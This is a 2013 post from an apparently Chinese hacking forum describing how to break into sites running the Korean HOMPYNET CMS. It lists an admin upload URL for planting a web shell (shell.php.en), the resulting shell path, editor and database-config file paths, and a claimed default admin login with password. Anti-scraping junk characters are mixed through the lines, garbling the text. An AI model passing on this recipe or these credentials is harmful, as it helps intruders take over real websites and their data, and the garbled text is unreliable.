找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2247|回复: 0
打印 上一主题 下一主题

韩国HOMPYNET CMS漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:12:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上传漏洞  :
, L" D8 g8 ?6 b3 g8 A. A! X
# ]6 y, m: R' _0 f- ahttp://www.xxx.com/admin/image_a ... p;iname=&iform=
! e; w! |" R( `- U5 V/ B$ L7 `; A# {( k, T! g' @/ }
http://www.xxx.com/admin/image_a ... p;iname=&iform=# z- p- W& u* I9 M6 B

& _4 v9 O( a* _8 K7 p* I3 c8 n上传后路径:1 j4 n1 ?; i! d- [  Y

; U2 r. `' b, N! Uhttp://www.xxx.com/bis_web_page/images/shell.php.en2 W$ F1 _9 ^- l  s
. o) Z6 ^, L& }! V
编辑器:. ^. \. E% M  n2 H. D/ s6 L0 R: G- ~8 l8 I
( w$ e9 M1 Z5 K7 _
http://www.xxx.com/admin/editor/SWE.php
* s' }1 T. M$ n0 Y5 Q; j2 ?" c( N& c) T5 \
http://www.xxx.com/program/editor/SWE.php
+ S+ _! \, }+ H$ K2 T( j& _  {5 ?8 L! b' k# P6 t3 g* M& D) w
数据配置文件路径:
5 Q6 ~/ K5 N4 P+ ]6 A- Y  {
' ?* b3 A1 |! ?+ x7 r% Shttp://www.xxx.com/m_config/DATA/g_setting.php0 e8 k8 A- O% k1 I) \# M& G

# G& c* ^, W/ P; x3 B( f) U此程序通用后台账号 :gamsiw  php996 B" r5 q: w) X8 l4 v' h) j  G
1 j& ?1 S- y7 \, m# [

$ H, i# D1 b; d$ ^* A. ?: w) h  y9 W8 @3 U9 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表